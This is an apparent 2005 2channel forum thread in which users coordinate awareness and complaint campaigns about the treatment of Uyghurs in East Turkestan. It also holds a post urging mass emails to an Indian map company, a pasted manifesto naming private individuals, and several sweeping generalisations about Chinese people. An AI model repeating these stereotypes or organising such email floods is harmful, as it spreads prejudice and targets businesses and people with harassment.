しかし、メディアの特亜に対する媚っぷりは何とかならないんでしょうかねぇ…

>>484
つたない文章ですがレポしますね。

>>486
ご苦労様です。
個人的な意見ですが、この手の活動を広げるには「長く続ける」事が一番重要で、かつ難しい事だと思います。
くれぐれも、あまりご無理はなさいません様。

488 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 02:01:50 ID:CRYb9f/n0
>「長く続ける」事が一番重要

俺もそう思う。

489 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 02:18:18 ID:S4RnDNmX0
檄文
今、法政大学学生会館の存在が窮地に立たされています。
国家権力と法政大学当局の学生自治への不当な弾圧により法政大学学友4名が公安警察により逮捕されています。
その中には学生会館を運営している理事長と事務局長が含まれており、このままもし起訴されるようなことがあれば
学生会館を運営している法政大学学生連盟は混乱状態になるとして、学生単独管理という今の状況を法政大学
当局が不当に認めないこととなることが予想されます。
この事件の不当性は、理事長の逮捕容疑が威力業務妨害と建造物不法侵入とされているが、その事件の時間帯には
理事長はカレー屋でカレーを売っていたという証言が多数あることからも判断できるのである。この事件を利用して法政大学
当局が公安警察を介して学生自治を弾圧しようとしていることは明白である。大学当局による弾圧行為は1977年5月27日の308人
学友逮捕以来25年ぶりの不当行為である。この事実を法政大学学友及び関東学生探検連盟関係者諸氏は断固として認める
わけにはいかない。明日1月26日午後7時より、1・26法政大学当局追及学生集会が行われ、法政大学学生部長に対して公安警察を通じた
不当捜査の取りやめと大学当局が出した被害届の取り下げによる4人の学友の奪還釈放を要求する。不当逮捕は基本的人権の侵害
にあたる。それに抗議するため明日学友及び関東学生探検連盟関係諸氏に集会の参加を求める。関東学生探検連盟はその創設以来
法政大学学生会館を総会の会場として利用してきた。その恩義に報いるため、また我々の権利を守るため、関東学生探検連盟関係者
諸氏に集会の参加を呼びかけるものである。

1998年度関東学生探検連盟副会長  戸田聡 ・ 林剛
http://www.karin.sakura.ne.jp/~tanken/renmei/

後期探検報告会の講演者は 【本多勝一氏】(予定)
http://www.karin.sakura.ne.jp/~tanken/renmei/soukai/00/zenki-houkokukai-houkoku.htm

イラク侵略戦争断固阻止!ムスリム人民と連帯を!
http://www.surfline.ne.jp/ibn-stoda/saddamposter01.htm

http://www.geocities.co.jp/SilkRoad-Lake/4673/buinnsyoukai.htm
8回生 林剛 通信教育学部経済学部商業学科4年
部友 戸田聡 明治大学大学院文学研究科史学専攻博士前期過程3年

490 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 03:39:17 ID:Gn8UqBP10
お休み前の保守

491 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 05:03:00 ID:dvnaORN70
保守

492 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 06:25:46 ID:oBr9P53NO
もまいら、おはようage

493 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 07:54:36 ID:4d8aQYRj0
おはようage

494 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 08:53:28 ID:/tcVTZLn0
おはよう

495 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 10:07:37 ID:dpafhIUU0
頂!

496 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 10:56:44 ID:7zc2DOVy0
ちっとも関係無い内容ですが・・・
自分は華人で、前に北京で留学してました。
最近、トルキスタンの現状を知り、先々週北京に行った時に
とりあえず、留学時代の友達(そいつも華人)に、
トルキスタンの事を教えて、皆さんのまとめサイトも教えました。

ただ、そいつはまだ外国で生まれ育ったからいいけど、
普通の中国人に教えても「政府もひどい事すんね」で終わります、絶対。
人に伝える、これ以上に自分が出来る事って何だろう・・・。
ただ、チキンなので何かしたら政府が・・・とか脅えとります。
親戚とかみんな中国に居るし。

こんな自分でも出来る事、何かありますかね。

497 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 11:26:20 ID:/tcVTZLn0
>>496
「政府もひどい事すんね」とすんなり事実を受けいれられるというところがある意味すごいですね。
国民は自分達の政府ならやり兼ねんと思っているんでしょう。


危険を圧して直接動かなくても、やれることはたくさんありますよ。
まずは↓見て下さい。

まとめサイト
http://www.geocities.jp/saveeastturk/

2ちゃんねらーにできること
http://www.geocities.jp/saveeastturk/forvipper.html

何処の掲示板が人目をひくとか、どこにメール送ってやれば効果的、などの情報を教えてもらえればありがたいですな。
あとは日本語→中国語翻訳も需要あり。

498 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 11:59:52 ID:tgKiaiKp0
頂!

499 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 12:44:31 ID:OPoOCx7j0
あげ

500 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 13:20:46 ID:EA6WIe6r0
頂!

501 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 13:53:40 ID:k8dohoCB0
hiru

502 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 15:05:50 ID:X5w/SEjK0
保守です

503 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 15:19:31 ID:JIcXxbUG0
東トルキスタン
http://academy4.2ch.net/test/read.cgi/archeology/1130221124/l50

はいVIP大使館in考古学板 できますた。

504 :fjell:2005/10/25(火) 15:24:12 ID:6LRi7GhO0
>>496

>人に伝える、これ以上に自分が出来る事って何だろう・・・。
>ただ、チキンなので何かしたら政府が・・・とか脅えとります。

その気持ちはいただきました!まとめサイトのPRも、ありがとう。

まずは、この問題を広めることが大事だし。無茶はしないで。

505 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 16:00:23 ID:PZxHIv9a0
保守

506 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 16:26:53 ID:2AGF0TBmO
>>496
さんの様なかたが存在するというのが、すごく嬉しい…。

507 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 17:41:05 ID:oBr9P53NO
記念式典の件で殿岡事務所に電話しました。
只今出先につき詳細は後程改めてカキコしますが、話の流れで来週明けに殿岡氏とお会いする事になりました。
氏(及びトルキスタン)に対する質問があれば、その際に話をしますので、色々出して貰えると有り難かったり…

508 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 18:17:45 ID:X5w/SEjK0
>>507
凄い行動力です・・驚き

509 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 18:30:47 ID:lRNeE9AZ0
510 名前: 若鹿 ◆YIPh4AQDA6 投稿日: 2005/10/25(火) 16:18:37 ID:64MFLqZu
>>498
信濃町のお友達に「鳥取支部のことで・・・」と言ったら御飯をおごってもらいました。
だから僕は聞かないことにしました。

世論と言うかギョーカイでは「鳥取」がささやかれています、モノ書きには鳥取がのど元に突きつけられたナイフなのです。
日本中の関係者が「鳥取」を注目しています。政治家も解放同盟もすべてです。
http://www.bll.gr.jp/news2005/news20051024-2.html

停滞沈黙しているのではなくて「鳥取」に注視しているのです。
鳥取で日本が決まるのは確実なのですよ。

510 :電網遊撃隊員@勤務怠業中 ◆mmYBMTf0Vk :2005/10/25(火) 18:55:43 ID:8OnKfgxA0
>>991@スレ2氏
英語版タイトル修正いたしましたので、うpしておきますた。
しかも、誤字ってたし・・・orz

http://plasticdreams.tm.land.to/up/uploads/031.jpg


>>その他
旧式分うpしなおしました。

511 :991@おぱーい2:2005/10/25(火) 19:04:49 ID:X5w/SEjK0
職場より
>>510
乙です、誤字は私にとっていつものことですorz
英語版の件了解であります。

512 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 19:15:52 ID:/tcVTZLn0
>>507
乙です。
不勉強でテラハズカシスなのだが、

元首でもレジスタンスのリーダーでもなかった人が大統領である東トルキスタン亡命政府って正当性あるの?
憲法を作って、政権担当能力を持てれば、それで東トルキスタン共和国を代表する唯一の合法的な政府と名乗ることができるの?
国内外のウイグル人がどの程度、自分たちの政府として認めているの?

って感じかな。
政治学者で日本人だから聞ける質問なんだが。

あんまりお馬鹿な質問であるなら、507氏が恥晒す前に、ここでだれか詳しい人に説明してもらいたいっす。

513 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 19:57:41 ID:X5w/SEjK0
保守であります。

514 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 20:04:47 ID:1Ksz2uNe0
久々に北産業

ミラーでスレ検索したら>141で呼ばれてたお
とりあえずミラー1は何を変更したらいいのかね

515 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 20:22:28 ID:vnNTQnB+0
>>512

http://kok2.no-blog.jp/tengri/

↑のブログが弾圧への反対を主張しつつ色々詳しく書かれている
その中でまとめサイトの亡命政府のHPから引用した文について間違いを指摘している。
これを見ると亡命政府・ウイグル太郎発の情報は間違っているとは言わないが妄信せず、多角的にに見る必要があると思う。
とにかくリンク先は活動に参加するなら必見!


以下抜粋
一昨日は思わず「祝」などと書いてリンクしたがVIPPERの諸君たちが立ち上げている運動にはあえて言うが、かなり問題も感じられるのである。

〜略
「しかし、18世紀に清朝に征服され重税などを課されました。
清朝が倒れ中国で混乱が起きている中東トルキスタンの人々は中国からの圧政から自立する為に1933年東トルキスタンイスラム共和国を宣言、建国しました。
1946(49)年まで独立国として存在し、ソ連などと関係を持っていましたが」

これは明らかに間違いである。

〜略
このうち「人権抑圧反対」はいいとして、東トルキスタン独立運動をウイグル人による一枚岩の「民族自決」要求の運動としてとらえるのはあまりにナイーブで、危険でもある。
簡単に言えば、そういった立場は、地域の中に住む漢族とウイグル人以外の諸民族(カザフ人、キルギス人・・)のことを全く考慮に入れていないし、
またウイグル人社会内部に存在するあまりに大きな意識の隔たり(漢族ともなんとかうまくやっていきたいと思うものから、あいつらブッ殺したる、というものまで)も無視されている。
要するにその「支持」が本当にそこに暮らしている人々のためになっているのかどうか、という内省がないことが気になるのだ。






516 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 20:33:44 ID:1Ksz2uNe0
とりあえず
・jahula(民族衣装の女の子の撮影者)
・don_narayan(ハングル版の弟をおぶった女の子)
・東トルキスタン情報センター
の著作権表示を入れればいいのか

自分の写真じゃなくても下に(C)〜て書いとけばおk?(´・ω・`)

517 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 21:40:07 ID:/tcVTZLn0
>>515
サンクス
ウイグル人の中にもいろんな考えの人がいて、支持するかどうかは人による・・・
それはそのとおりだねw
自由フランス政府が全員に支持されたわけでもないのに、戦後政権をとれたのと同じような正当性が、今の東トルキスタン亡命政府にあるのかなと思ったもので。

>>516
既に加工している画像をたくさん組み合わせているから、写真上に(c)〜は無理だね。
ページ内のどこかに
CREDIT : jahukla, don_narayan and East Turkistan Information Centerがあればいいと思われ・・・

518 :496:2005/10/25(火) 21:45:38 ID:7zc2DOVy0
こんばんわー。
>>497
どうもです、前から読んでたんですけどね。
うー、どうすっぺ、みたいなw
>>504
ありがとうございます、ただのチキンですが。orz

でですね、一応?中国人の気持ちもわかる自分の考えを
ちと言わせてもらっちゃうとですね、
中国人に対して何を言おうが全く効果は無いと思います。
「ふ−ん、だから?」で終わっちゃうと思うんですよ。
まず政府のやる事にはあまりどうこう思いませんし。
別に人の命なんかそんなに大事に思ってないですから。
車で人をひいたらひき殺した方が得だなんて言う国ですから。
(生きてるとごねられて慰謝料がはねあがる)

それよりも面子を気にする国ですから、国際批判の方が断然きくと思います。
それもアジアよりは欧米の方が。
下手に中国の大きな掲示板とかに書き込むと
日本の奴らが何言うとるんじゃーってなりかねません。

と、下らない事を書いてみました・・・。(´・ω・`)
他に何か中国について聞きたい方はおられますか?

わかる範囲、調べられる範囲でがむばってお答えします!

519 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 21:57:25 ID:pl3ANp5b0
>>518
中国はどこから批判とかされるのがきくと思いますか?
そこが分かれば重点的に凸出来るかと思います。

520 :496:2005/10/25(火) 22:20:04 ID:7zc2DOVy0
>>519
そうですね、やっぱりアメリカとかイギリス、でしょうかね。
何て言うんでしょう、日本がこの国に言われたら
ちょっときついなーって感じな国だと思います。
以前だったら日本もいけたんでしょうけど、反日凄いですからね。
今でも週末には特に熱心な人達が反日活動やってるみたいです。
とにかく、中国は国際的な大国に肩を並べたがっています。
ですから、ライバルといいますか、アメリカの様な大国に
批判をされるとかなり気にすると思います。

とにかく、国際的な批判のどでかい渦を巻き起こさない限り、
中国側は見向きもしないと思います。

まあ、ちょっとうまく言えないんですが、例えば日本人が
欧米人に対して感じるちょっとした劣等感の様な、そういった自分の
中国人としての感覚での話なのでまたちょいと違うかもしれません。
明日、ちょっと身近な中国人にでも聞いてみます。

あんまり役に立たなくてゴムンナサイ・・・。(´・ω・`)

521 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 22:32:01 ID:YHyBXhKF0
横レスごめんね。

外務省って凸先になってるのかな?

なんか、外務省に多く寄せられた意見は、
定期的に発表されるみたいなんだよね。

ttp://www.mofa.go.jp/mofaj/comment/index.html

ここに 「東トルキスタン」 を前面に出して意見したらどうかな?

効果の程は分からないけど・・・・・

522 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 22:46:01 ID:rUW6HdWb0
例え9割9分9厘の正当性がこちらにあっても、1厘の正当性が中(ryにあれば向こうはためらわずそれを盾にするだろう。
そして最後の1厘を崩したら、全く関係ない斜め方向から問題を持ち出してうやむやにしようとする。
それが中国。
甘く見てはいけない。

523 :たらこ@ミラー2:2005/10/25(火) 23:03:20 ID:lAxw5SE10
>520
 >あんまり役に立たなくて
そんな事ないですよ。
そういえば2-3スレほど前に来ていた2世だったか3世の方はお元気だろうか。

>521
サンクス。今までそこは出てなかったので
凸先リスト(公的機関)に加えました。

>522
流石中国,斜め上行くクォリティ。

524 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 23:16:19 ID:Gn8UqBP10
507ですが、只今帰宅いたしましたので、殿岡氏とのお話の流れをこれから纏めます。
文章を書くのは苦手ですが、がんがるお。

ていうか…ココに書いていいんだよね?(´・ω・`)
↓こっちに行った方が良いのかな?
http://plasticdreams.tm.land.to/bbs/?

525 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 23:25:12 ID:1Ksz2uNe0
>517
d

PHOTO : jahukla, don_narayan and East Turkistan Information Center
って書いとくお

526 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 23:48:42 ID:OYUg+bme0
>>524
遅いお帰りで。お疲れさまです。
ここで良いと思いますが。よろしく。

527 :fjell:2005/10/26(水) 00:11:21 ID:rOq1DrUi0
>>515

私も、その辺の温度差は少々気になります。
まぁ、人によって意見が異なるのは、どうしたって仕方ないことだと思いますが、
多数決の原理の裏には、どうしたって少数派の不満が内包されるわけですから...
なるべく平和的な解決を見るといいなぁとも思います。

>>518 こと496さん。
あなたのご意見は貴重です。少なくともワタシには。
そして、おそらくこのレスの多くの人にとって。
さて、どうしたもんですかねぇ。

>>524
乙!ご報告お待ちしております。

528 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 00:25:38 ID:jNYiXxf20
押田女史のブログのコメント欄で紹介されているリンク先で
1995年にテロリストとされたウイグル人たちの逮捕の様子と見せしめされている映像が20秒ほどありました。

押田女史のブログの該当記事
ttp://oshida.exblog.jp/1585735/
コメント欄で紹介されているページ
ttp://www.pbs.org/frontlineworld/stories/china401/thestory.html
映像ページ
ttp://www.pbs.org/frontlineworld/stories/china401/vid22001.html
1分40秒以降

529 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 00:44:25 ID:PL3PAlVe0
>>524さん、GJです。
報告待ってます

530 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 01:07:44 ID:S1/dpur+0
あげ

531 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 01:26:58 ID:O2QF1qcI0
素朴な疑問なのだが、トフティさんは何語で講演するの?

532 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 01:35:18 ID:lukPtex90
中国のケースじゃなくて北朝鮮のことですが、言われたらきつい国はありますよ、北朝鮮にも。
特にヨーロッパのメディアに敏感らすいです。スイッツランドや北欧諸国なんか特にそう。


533 :507:2005/10/26(水) 01:55:58 ID:C9c43xRt0
お待たせしました。
上手く取り纏めようとしましたが無理でした。ゴメンナサイ。
長くなりますが、一番書きやすかった会話形式でお伝えいたします。
式典の参加方法・資格に関して疑問をお持ちの方もいらっしゃるかと思いますので、
其の辺りの件からお伝えします。(漏…私、殿…殿岡氏)


漏「ネットで情報を知った一個人にしかすぎませんが、一般人でも参加させていただけるものでしょうか?」
殿「ええ、勿論です。私自身もごく普通の一般人ですし、余り形式張ってお考えいただかなくても結構ですから。」
漏「それでは是非参加させて頂きたいのですが、どのように手続きを行えば宜しいのでしょうか」
殿「おお、それは有難うございます。ではメールかFAXで住所・氏名・電話番号を記載の上、参加希望の旨をお知らせ下さい。もし宜しければ、今お知らせ頂いても結構ですよ。」
漏「それでは…(連絡先を伝える)」

殿「はい、結構です。それで会場の地図はお持ちですか」
漏「場所は存じ上げておりますので結構です。当日は直接会場までお伺いすれば宜しいでしょうか」
殿「ええ。2時からになりますので、少し前にお越し下さい」
漏「分かりました。それでは宜しくお願い致します。それと…少しお伺いしたい事があるのですが」
殿「ええ、結構ですよ。どうぞおっしゃって下さい」

と、ここで先方の事務所に電話が入ったので一時中断。後程連絡をいただける事に。


つづく

534 :507:2005/10/26(水) 02:01:05 ID:C9c43xRt0
続き

漏「先程はお忙しい処失礼いしました。実はあるインターネットの掲示板で『中国がトルキスタンで行っている行為を広く報せよう』といった活動が行われています。私自身この式典についてもそこで情報を得たんです」
殿「ああ、そうでしたか。それは素晴らしいですね。そのような活動が…有難うございます」
漏「それに関連した事でお伺いしたい事が有りまして、当日の様子を撮影ないしは録音する事は可能でしょうか?
といいますのも、掲示板を御覧になっている方々は日本中にいらっしゃいます。式典に興味が有っても地方の方ですと、どうしても直接参加というのは難しいと思います。
そういった方々にも当日の様子をお伝え出来ればと思いまして…」
殿「成る程!それは素晴らしいですね!」

この後、式典当日の予定やラビア・トフティーさんの説明を受けますた。


つづく

535 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 02:02:47 ID:rOq1DrUi0
ワクテカ...

536 :507:2005/10/26(水) 02:02:54 ID:C9c43xRt0
続き

殿「いやー、こうやって興味を持って頂けるのは本当に有り難いです」
漏「いえいえ、お恥ずかしい話ですが、掲示板をみるまでは『東トルキスタン』なんて地域、全く聞いた事も無い状態でした。
国内の報道ではほとんど取り扱いが無いようですから、情報を集めようにも中々難しい様ですね。
掲示板で質問が出たとしても、情報原の大半はネットですから、事実確認も含め直ぐには回答が出ないですし…」
殿「成る程。んじゃあ、直接会って話した方がはやくね?」
漏「ちょwwwおまwwwテラ軽スwwwww」
殿「関係者紹介するし」
漏「エェェェェ(゚д゚;)ェェェェエ?!」←予想外の流れにファビョル漏れ
殿「ええと、今週の予定は…」
漏「いや、会うとかって(荷が重いお)」
殿「明日とかどうよ」
漏「早っ!」
殿「じゃ、金曜で」
漏「いや、だから心の準備が…(なんでこんな流れに?エロイ人、助けてぇ)」

取り敢えず、一度掲示板の方で「質問」を纏めたいので暫く時間を下さいとお伝えして、電話を切りました。
先方とは金曜に再度連絡を取り、お会いする日時(来週予定)を決める約束になっています。
折角の機会ですのでトルキスタン関連の質問をガンガンぶつけてこようかと。
質問のある方は書き込みしておいて下さい…ていうか、助けると思って書き込みして。
おながいします。

537 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 02:06:00 ID:lukPtex90
なんだかよくわからんが とっても素敵なあなたに幸あれ!!!
GJ!!!


538 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 02:14:46 ID:u0QRpbHZ0
>>507
俺、住宅メーカー勤務でトフティさんの講演には行けない。
土日は、モデルハウスにいる。
でも、俺にできることなら何でも言ってくれ。
スレの趣旨とは異なるかもしれないけど、おっさんなんで
金銭的なことなら協力できるかも。

539 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 02:20:49 ID:VirjdA+s0
>>536
とりあえず会ってみたらどうだろうか?
やばそうなら、切ればいいだけだし。
殿岡って人は大学教授らしいし、会うだけでも価値があるかもしらん。

540 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 02:25:02 ID:VirjdA+s0
>507
すごいっす、GJ!
とりあえずこちらからの質問はおいといて、
先方の話を聞くスタンスがいいと思う。
実際わからないことだらけだし。

541 :539:2005/10/26(水) 02:26:48 ID:VirjdA+s0
とりあえず会う、くらいの気軽な感じではどうかなぁ?

542 :539:2005/10/26(水) 02:27:40 ID:VirjdA+s0
540も、俺ね。

543 :507:2005/10/26(水) 02:37:55 ID:C9c43xRt0
こんな感じでした。
文中にも有りますが、式典自体は左程大仰な物では無いようです。
「少しでも多くの方に参加していただきたい」と仰っていました。
ネットでの展開に関しても(詳細はご存知無いようでしたが)、かなり感謝なさっておられました。

それと正式に許可を頂いた訳では有りませんが、当日の撮影はOKっぽいです。
(来週、再度確認してみます)
データはUPしますので、参加できない方は宜しければ其方をご確認ください。

>>538
お仕事ご苦労様です。
差し支え無ければ、トルキスタン関連の質問を出して頂けると助かります。
メアド載せておきますので、其方宛てでも結構です。

>>539
そうですね。
ともあれ当日までには、もう少し自分自身でも勉強しておかないと。
仕事が忙しく無ければなぁ…orz

長文・乱文、失礼いたしました。なんか,酷く疲れたのでもう寝ます。
それではノシ


544 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 02:44:56 ID:rOq1DrUi0
>>538
では。
「トフティーさんの研究活動への復帰を求める東京大学教官有志の書簡」
http://www.l.u-tokyo.ac.jp/~toyoshi/tohti.html
メールのあて先は、同ページにあります。

「トフティーさんの復学を求める会」
http://www.monomono.jp/tohti_j/

トフティーさんに限定せず、ウイグル民族への弾圧即時停止を
呼びかけるための署名が、さまざまな人権保護団体のサイトに用意されています。
数が集まれば、それだけ意義があるので、ぜひ。

545 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 02:50:30 ID:V6pZYuom0
538です。
ええっと、俺も今日は質問をまとめることができないので。
明日というか今日には、レスします。
おやすみなさい、寝ます。

546 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 03:21:50 ID:+ObGDbIg0
なんか面白いことになってるなあ。
頂!

547 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 06:40:23 ID:3aauZ1eu0
支援

548 :メル凸頼む!:2005/10/26(水) 07:09:25 ID:AYKRELZy0
韓国サイバーテロ団体「VANK」によるインドの地図会社へのスパムメール攻撃の結果・・・

 >国際名称である日本海(Sea of Japan)を韓国ローカルでの呼び名である東海(East Sea)と併記!
 >http://mapsofworld.com/japan/japan-political-map.html
 >竹島(英語名Liancourt Rocks)を独島(Dokdo)とし、韓国領土として記載!
 >http://mapsofworld.com/south-korea/maps/south-korea-political-map.jpg


     というわけで、VIP で メ ル 凸 や ら な い か
      ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄

1)以下のページから抗議用の文面をコピー
http://vip.s151.xrea.com/tmpl/
2)あて先をcontactus@mapsofworld.comに設定し、送信!


今こそ世界に、V I P ク オ リ テ ィ を 見 せ つ け よ う ぜ
⊂二二二( ^ω^)二⊃  ⊂二二二( ^ω^)二⊃


このスレで作戦を実行中!こちらも是非参加を頼む!
http://ex10.2ch.net/test/read.cgi/news4vip/1130061873/

上記のリンクが切れている場合は、以下に現行のスレを掲載中!
●経過報告用ブログ
http://vip.s151.xrea.com/sb/

549 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 07:56:59 ID:W4htt+cAO
保守

550 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 08:11:59 ID:oWoG2FeD0
>>507
激しくGJJJJ!

551 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 09:10:13 ID:Z/h9RAvM0
>>543
んじゃ質問依頼

一般にはあまり有名ではありませんが、日本には中国人スパイが日本に沢山いる
そうです。東トルキスタンに関わる活動をなさっていて具体的な妨害はありましたか?

552 :496:2005/10/26(水) 09:13:03 ID:1ZcSx7dn0
>>507
GJJJJJJ!!
それに引き換え自分ダメス・・・。(´・ω・`)

>>527
そう言って頂けると救われます!
ただ、自分は日本生まれ日本育ちなので
中国の人の考え方とはまた違います。
なのであまり参考にはならないやも・・・。

自分はヒキニートなので行こうと思えば
割と簡単にトルキスタンには行けるので、資料集めたり
写真とか撮りに行きたいと思っちょります。
今年中か、来年初頭には行こう。
そして、現地で自分の目に映る本当の事を知りたい。

その際、何か買ったり、撮って来て欲しいものは
ありますか?写真は結構今更かもしれないけど・・・。

あと、通訳して欲しい言葉はありますか?
留学時代の友達に英語圏のと韓国人が居ます。
中国語は、ネイティブにやってもらえます。

553 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 09:55:59 ID:Yi6ylt/y0
観光地じゃなく、生活している地域の写真が見たいね。
中国人が居住している区域と原住民が居住している地域と。
それとごっちゃになってる地域か。
通訳がなんとかなるなら東ト人の話を聞いて欲しいな。
ただこの辺りはおおっぴらにやると当局から教育的指導でレッドカードが
出されるかもしれず、注意して欲しいね。
この辺の事情には疎いのだが、>>552が無事でも話してくれた人が、とかもあるかもしれない。

age

554 :496:2005/10/26(水) 10:02:58 ID:1ZcSx7dn0
>>553
写真は多分撮れると思う。
でも、話は聞けるかな・・・。そう都合良く自分達の苦境を
語ってくれて北京語の話せる人がすぐ見つかるかなぁ・・・。
とりあえず、ICレコーダーか何か持って行きます。

555 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 10:06:32 ID:zv1bqxFr0
>>554
ムリはしないでね!

556 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 10:12:14 ID:Yi6ylt/y0
苦境というよりは、現地の人が実際どのように感じているのかが知りたい。
さらに中国の人にも聞いてその差を比べてみたい。
まぁ相当難しいのはわかるが、これは希望ってことで。
一番重要なのは>>496が何かを得て帰って来ることだと思う。
そのための参考にでもなれば、と思って自分の希望を書き込んでミタ。
あと取材だけじゃなく楽しむことも忘れてはいけないと思う。

557 :496:2005/10/26(水) 10:13:44 ID:1ZcSx7dn0
>>555
サンクスコ!
自分は北京語もあまりうまくないから
外人扱いされて多分あまり気にされないと思うw

558 :496:2005/10/26(水) 10:15:35 ID:1ZcSx7dn0
>>556
とにかく、何とか話を聞いてみるよ。
なるべく安全に。

そしたらブログか何かでまとめて発言してみる。

559 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 10:16:31 ID:Ng9iY+e0O
学校行ってくるノシ

ついでに保守

560 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 10:16:56 ID:HbelEgUP0
皇室】「女性天皇容認」で、全会一致…皇室典範有識者会議★

http://news19.2ch.net/test/read.cgi/newsplus/1130286940/



女系になったら、正当性が問われ、その面倒臭い儀式を行えないかも知れないし
「 Imperial Family」から「 Royal family」に格下げになるので、対外的にも不利益。

女系にすると世界的に天皇は皇帝から国王に格下げされるらしいです
権威の失墜もいいところです


561 :fjell:2005/10/26(水) 10:35:28 ID:SfjOvV650
>>507氏。

質問事項を考えよう。。と思ったのですが、ワタシの付け焼刃の知識では、
専門家に太刀打ちできそうもないので...すまぬ。

事務所開設にあたっての言葉にある「危機感」は、
ワタシも強く感じていることなので、色々お話を伺ってきてくださいませー
http://park6.wakwak.com/~tnk/1.html


562 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 10:59:49 ID:cuIwV/KH0
保守

563 :vipper諸君へ告ぐ・左翼の陰謀を食い止めろ。:2005/10/26(水) 11:02:38 ID:2jzmS1Vt0
VIPPERの力が必要だ
VIPPERの力が必要だ
VIPPERの力が必要だ
VIPPERの力が必要だ
VIPPERの力が必要だ
男系を保つ努力をしてくれたら2chでも現実世界でも英雄だ
男系を保つ努力をしてくれたら2chでも現実世界でも英雄だ
男系を保つ努力をしてくれたら2chでも現実世界でも英雄だ
男系を保つ努力をしてくれたら2chでも現実世界でも英雄だ
男系を保つ努力をしてくれたら2chでも現実世界でも英雄だ

天皇家の万世一系(男系)による皇位継承という伝統を守ろう!
http://www.geocities.jp/banseikkei/
【皇室】「女性天皇容認」で、全会一致…皇室典範有識者会議★4
http://news19.2ch.net/test/read.cgi/newsplus/1130249573/

564 :spinel:2005/10/26(水) 11:20:03 ID:aWJ4k8zg0
>>507
乙です。
強制的に勉強をしなければならない情况になって良かったねw

東トルキスタン情報センターの文章を全て読めば理解できるようなことでも、質問して良いと思うよ。まだ勉強途中なんだしね。
あとは相手が好き勝手に話してくれるはずw

>>496
中国人の物の見方を教えてもらえるのは有難いね。
次は欧米を優先して凸かな。
東トルキスタン旅行気をつけて行って来ておくれ。

565 :fjell:2005/10/26(水) 11:24:18 ID:SfjOvV650
>>588 496氏。現地の状況、気になります。よろしくお願いしたいけど、
ほんとうに気をつけてください。。「国家機密漏洩罪」で捕まるかもしれないし。

566 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 12:10:29 ID:IMGH1nMW0
支援age

567 :一兵士@電網遊撃隊 ◆mmYBMTf0Vk :2005/10/26(水) 12:13:20 ID:W1CrXjZW0
いままでサボっていた分の仕事が・・・終わらねぇよorz

>>496
脅すつもりはないが、以前ネットカフェからの通信していた人が、
店員からマークされていた事もあり、また中国公安警察あたりも
動いていた報告があるから、当局の動向には最新の注意を。

>>507
激しく乙!!

とりあえず、殿岡氏にうちらの動向を知ってもらうには、
ノートPCがあれば、まとめサイトとここをみてもらうのが一番かと(キャッシュデータでもOKだが)。
あとは、某PRムービーとか、フラッシュ動画とかもあれば、最高かなと。
なければ、印刷物をもっていくとかね・・・

個人的な質問事項として、東トルキスタンの生活とか、イスラム教についてとか、
基本的な生活や文化についても、あまりにも不足しているからね。
こちらの都合で物事を考えてしまいがちになってしまってるから、
そういった、判断材料とかがどうしても欲しい。

